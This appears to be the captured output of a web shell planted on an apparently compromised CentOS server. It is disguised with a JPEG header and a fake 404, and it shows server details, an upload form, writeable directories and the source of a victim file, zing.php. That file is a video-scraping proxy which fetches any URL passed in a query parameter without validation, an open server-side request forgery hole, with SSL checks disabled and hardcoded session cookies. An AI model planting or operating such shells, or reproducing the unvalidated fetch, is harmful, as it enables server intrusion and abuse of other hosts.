����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/zing.php
<?php
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
require 'src/Curl/ArrayUtil.php';
require 'src/Curl/CaseInsensitiveArray.php';
require 'src/Curl/Curl.php';
require 'src/Curl/Decoder.php';
require 'src/Curl/MultiCurl.php';
use \Curl\Curl;

// curl --request GET "https://httpbin.org/get?key=value"
$url_encode = trim($_GET['url']);
$url = str_encode(hex2bin($url_encode),'123Vid@Net');
$url = trim($_GET['url']);
$curl = new Curl();
$headers = array(
    'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding:gzip',
    'Accept-Language:en-US,en;q=0.8',
    'Cache-Control:max-age=0',
    'Connection:keep-alive',
    'Cookie:TV_COOKIE=59506cd6cb6fd; _znu=1; fuid=43dce90f57c64a07ea4e9d0a34fc088a; __utmt_tv=1; GED_PLAYLIST_ACTIVITY=W3sidSI6IlVTT1giLCJ0c2wiOjE0OTg0NDI5MzcsIm52IjoxLCJ1cHQiOjE0OTg0NDI4NTQsImx0IjoxNDk4NDQyOTM3fV0.; __utma=1.30269616.1498442833.1498442833.1498442833.1; __utmb=1.1.10.1498442833; __utmc=1; __utmz=1.1498442833.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.30269616.1498442833; _gid=GA1.2.84242335.1498442833; _gat=1; atmpv=3; __zi=2000.289a873873369b68c227.1498442967337.908bd535; adtimaUserId=2000.289a873873369b68c227.1498442967337.908bd535',
    'Host:tv.zing.vn',
    'Referer:http://tv.zing.vn/',
    'Upgrade-Insecure-Requests:0',
    'User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
);
$curl->setOpt(CURLOPT_HTTPHEADER , $headers);
$curl->setOpt(CURLOPT_REFERER , 'http://tv.zing.vn/');
$curl->setOpt(CURLOPT_COOKIEFILE , 'cookie_zingtv.txt');
$curl->setOpt(CURLOPT_COOKIEJAR , 'cookie_zingtv.txt');
$curl->setOpt(CURLOPT_RETURNTRANSFER , true);
$curl->setOpt(CURLOPT_ENCODING , "gzip");
$curl->setOpt(CURLOPT_FOLLOWLOCATION , true);
$curl->get($url);
$content = $curl->response;
$curl->close();

preg_match_all('#source\: \"(.*?)\"\,#is', $content, $match);


$p360 = $match[1][count($match[1])-2];


if($match[1][count($match[1])-1]!=''){
    $p360 = $match[1][count($match[1])-1];
}
if(strpos($p360,'http')===false){
    $p360 = 'http:'.$p360;
}

$arr = get_headers($p360,true);

print_r($arr);
exit();

$v = $arr['Location'];



$useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36";
if(strpos($v,'http://')!==false){
    header('Location: '.$v);
    exit();
}


$ch = curl_init();
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 222222);
curl_setopt($ch, CURLOPT_URL, $v);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$info = curl_exec($ch);
$size2 = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);
header("Content-Type: video/mp4");
$filesize = $size2;
$offset = 0;
$length = $filesize;
if (isset($_SERVER['HTTP_RANGE'])) {
    $partialContent = "true";
    preg_match('/bytes=(\d+)-(\d+)?/', $_SERVER['HTTP_RANGE'], $matches);
    $offset = intval($matches[1]);
    $length = $size2 - $offset - 1;
} else {
    $partialContent = "false";
}
if ($partialContent == "true") {
    header('HTTP/1.1 206 Partial Content');
    header('Accept-Ranges: bytes');
    header('Content-Range: bytes '.$offset.
        '-'.($offset + $length).
        '/'.$filesize);
} else {
    header('Accept-Ranges: bytes');
}
header("Content-length: ".$size2);


$ch = curl_init();
if (isset($_SERVER['HTTP_RANGE'])) {
    // if the HTTP_RANGE header is set we're dealing with partial content
    $partialContent = true;
    // find the requested range
    // this might be too simplistic, apparently the client can request
    // multiple ranges, which can become pretty complex, so ignore it for now
    preg_match('/bytes=(\d+)-(\d+)?/', $_SERVER['HTTP_RANGE'], $matches);
    $offset = intval($matches[1]);
    $length = $filesize - $offset - 1;
    $headers = array(
        'Range: bytes='.$offset.
        '-'.($offset + $length).
        ''
    );
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 222222);
curl_setopt($ch, CURLOPT_URL, $v);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_NOBODY, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
curl_exec($ch);
exit();

ZeroDay Forums Mini